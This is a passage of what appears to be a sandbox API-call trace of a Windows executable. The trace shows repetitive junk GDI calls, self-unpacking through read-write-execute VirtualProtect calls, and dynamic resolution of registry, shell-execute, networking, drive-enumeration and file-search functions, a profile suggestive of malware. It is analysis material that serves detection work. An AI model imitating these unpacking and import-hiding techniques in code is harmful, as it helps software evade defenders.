(hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.785] CreateMetaFileA (pszFile="") returned 0x0 [0033.785] GetStockObject (i=4) returned 0x1900011 [0033.785] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.785] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.785] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.786] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.786] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.786] CreateMetaFileA (pszFile="") returned 0x0 [0033.786] GetStockObject (i=4) returned 0x1900011 [0033.786] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.787] GetStockObject (i=4) returned 0x1900011 [0033.787] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.787] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.787] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.787] CreateMetaFileA (pszFile="") returned 0x0 [0033.788] GetStockObject (i=4) returned 0x1900011 [0033.788] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.788] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.791] IsWindow (hWnd=0x0) returned 0 [0033.791] DefFrameProcA (hWnd=0x0, hWndMDIClient=0x0, uMsg=0x0, wParam=0xfffff9bc, lParam=0x1e19f1c) returned 0x0 [0033.791] GetSysColor (nIndex=7) returned 0x0 [0033.791] SetTextColor (hdc=0x80000000, color=0x0) returned 0xffffffff [0033.791] GetSysColor (nIndex=4) returned 0xf0f0f0 [0033.791] SetBkColor (hdc=0x80000000, color=0xf0f0f0) returned 0xffffffff [0033.791] GetMenuCheckMarkDimensions () returned 983055 [0033.791] SelectObject (hdc=0x80000000, h=0x0) returned 0x0 [0033.791] SetTextColor (hdc=0x80000000, color=0xffffffff) returned 0xffffffff [0033.791] SetBkColor (hdc=0x80000000, color=0xffffffff) returned 0xffffffff [0033.791] GetDlgItem (hDlg=0x0, nIDDlgItem=-1604) returned 0x0 [0033.791] GetMenu (hWnd=0x0) returned 0x0 [0033.791] GetMenuItemInfoA (in: hmenu=0x0, item=0x0, fByPosition=0, lpmii=0x4ae93c | out: lpmii=0x4ae93c) returned 0 [0033.791] LocalAlloc (uFlags=0x0, uBytes=0x400) returned 0x537898 [0033.791] GetMenuItemInfoA (in: hmenu=0xd0000, item=0x0, fByPosition=0, lpmii=0x4ae93c | out: lpmii=0x4ae93c) returned 0 [0033.791] LocalReAlloc (hMem=0x537898, uBytes=0x40, uFlags=0x2) returned 0x537898 [0033.791] SetMenuItemInfoA (hmenu=0xd0000, item=0x0, fByPositon=0, lpmii=0x4ae93c) returned 0 [0033.792] EnumDateFormatsA (lpDateFmtEnumProc=0xa0000, Locale=0x400, dwFlags=0x1) [0033.850] GetModuleHandleA (lpModuleName="ntdll") returned 0x77130000 [0033.851] GetModuleHandleA (lpModuleName=0x0) returned 0xd0000 [0034.052] VirtualProtect (in: lpAddress=0xd0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.052] VirtualProtect (in: lpAddress=0xd1000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.052] VirtualProtect (in: lpAddress=0xd2000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.052] VirtualProtect (in: lpAddress=0xd3000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.053] VirtualProtect (in: lpAddress=0xd4000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.053] VirtualProtect (in: lpAddress=0xd5000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.053] VirtualProtect (in: lpAddress=0xd6000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.053] VirtualProtect (in: lpAddress=0xd7000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.054] VirtualProtect (in: lpAddress=0xd8000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.054] VirtualProtect (in: lpAddress=0xd9000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.054] VirtualProtect (in: lpAddress=0xda000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.054] VirtualProtect (in: lpAddress=0xdb000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.054] VirtualProtect (in: lpAddress=0xdc000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.055] VirtualProtect (in: lpAddress=0xdd000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.055] VirtualProtect (in: lpAddress=0xde000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.055] VirtualProtect (in: lpAddress=0xdf000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.055] VirtualProtect (in: lpAddress=0xe0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.056] VirtualProtect (in: lpAddress=0xe1000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.056] VirtualProtect (in: lpAddress=0xe2000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.056] VirtualProtect (in: lpAddress=0xe3000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.056] VirtualProtect (in: lpAddress=0xe4000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.056] VirtualProtect (in: lpAddress=0xe5000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.057] VirtualProtect (in: lpAddress=0xe6000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.057] VirtualProtect (in: lpAddress=0xe7000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.057] VirtualProtect (in: lpAddress=0xe8000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.057] VirtualProtect (in: lpAddress=0xe9000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.057] VirtualProtect (in: lpAddress=0xea000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.058] VirtualProtect (in: lpAddress=0xeb000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.058] VirtualProtect (in: lpAddress=0xec000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.058] VirtualProtect (in: lpAddress=0xed000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.058] VirtualProtect (in: lpAddress=0xee000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.058] VirtualProtect (in: lpAddress=0xef000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.059] VirtualProtect (in: lpAddress=0xf0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.059] VirtualProtect (in: lpAddress=0xf1000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.059] VirtualProtect (in: lpAddress=0xf2000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.059] VirtualProtect (in: lpAddress=0xf3000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.059] VirtualProtect (in: lpAddress=0xf4000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.060] VirtualProtect (in: lpAddress=0xf5000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.060] VirtualProtect (in: lpAddress=0xf6000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.060] VirtualProtect (in: lpAddress=0xf7000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.060] VirtualProtect (in: lpAddress=0xf8000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.061] VirtualProtect (in: lpAddress=0xf9000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.061] VirtualProtect (in: lpAddress=0xfa000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.061] VirtualProtect (in: lpAddress=0xfb000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.061] VirtualProtect (in: lpAddress=0xfc000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.061] VirtualProtect (in: lpAddress=0xfd000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.062] VirtualProtect (in: lpAddress=0xfe000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.062] VirtualProtect (in: lpAddress=0xff000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.062] VirtualProtect (in: lpAddress=0x100000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.062] VirtualProtect (in: lpAddress=0x101000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.062] VirtualProtect (in: lpAddress=0x102000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.063] VirtualProtect (in: lpAddress=0x103000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.063] VirtualProtect (in: lpAddress=0x104000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.063] VirtualProtect (in: lpAddress=0x105000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.063] VirtualProtect (in: lpAddress=0x106000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.063] VirtualProtect (in: lpAddress=0x107000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.064] VirtualProtect (in: lpAddress=0x108000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.064] VirtualProtect (in: lpAddress=0x109000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x20) returned 1 [0034.064] VirtualProtect (in: lpAddress=0x10a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.064] VirtualProtect (in: lpAddress=0x10b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.064] VirtualProtect (in: lpAddress=0x10c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.065] VirtualProtect (in: lpAddress=0x10d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.065] VirtualProtect (in: lpAddress=0x10e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.066] VirtualProtect (in: lpAddress=0x10f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.066] VirtualProtect (in: lpAddress=0x110000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.066] VirtualProtect (in: lpAddress=0x111000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.066] VirtualProtect (in: lpAddress=0x112000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.067] VirtualProtect (in: lpAddress=0x113000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.067] VirtualProtect (in: lpAddress=0x114000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.067] VirtualProtect (in: lpAddress=0x115000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.067] VirtualProtect (in: lpAddress=0x116000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.067] VirtualProtect (in: lpAddress=0x117000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.068] VirtualProtect (in: lpAddress=0x118000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x2) returned 1 [0034.068] VirtualProtect (in: lpAddress=0x119000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x4) returned 1 [0034.068] VirtualProtect (in: lpAddress=0x11a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5a8 | out: lpflOldProtect=0x4ae5a8*=0x4) returned 1 [0034.114] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0034.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0034.114] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0034.114] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0034.114] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0034.115] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0034.115] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0034.115] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0034.115] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0034.284] GetProcAddress (hModule=0x75bc0000, lpProcName="WSACloseEvent") returned 0x75bc651f [0034.284] VirtualProtect (in: lpAddress=0xd0000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.285] VirtualProtect (in: lpAddress=0xd1000, dwSize=0x2e000, flNewProtect=0x40, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.300] VirtualProtect (in: lpAddress=0xff000, dwSize=0x12000, flNewProtect=0x4, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.301] VirtualProtect (in: lpAddress=0x111000, dwSize=0x3000, flNewProtect=0x4, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.301] VirtualProtect (in: lpAddress=0x114000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.301] VirtualProtect (in: lpAddress=0x115000, dwSize=0x3000, flNewProtect=0x4, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.301] VirtualProtect (in: lpAddress=0x118000, dwSize=0x2000, flNewProtect=0x40, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.301] VirtualProtect (in: lpAddress=0x11a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x4ae5b8 | out: lpflOldProtect=0x4ae5b8*=0x40) returned 1 [0034.303] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.303] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0034.303] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0034.303] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0034.303] VirtualAlloc (lpAddress=0x0, dwSize=0x1800, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000 [0034.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2df0e, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0034.309] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.310] VirtualAlloc (lpAddress=0x0, dwSize=0x11b0e, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0034.312] VirtualFree (lpAddress=0x1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.313] VirtualAlloc (lpAddress=0x0, dwSize=0x130e, flAllocationType=0x1000, flProtect=0x4) returned 0x180000 [0034.313] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2ae, flAllocationType=0x1000, flProtect=0x4) returned 0x180000 [0034.313] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.313] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0e, flAllocationType=0x1000, flProtect=0x4) returned 0x180000 [0034.314] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.314] VirtualFree (lpAddress=0xc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.315] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76c20000 [0034.315] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0034.315] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0034.315] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileA") returned 0x76c5d53e [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileA") returned 0x76c3e2ce [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0034.316] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0034.317] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0034.318] GetProcAddress (hModule=0x76c20000, 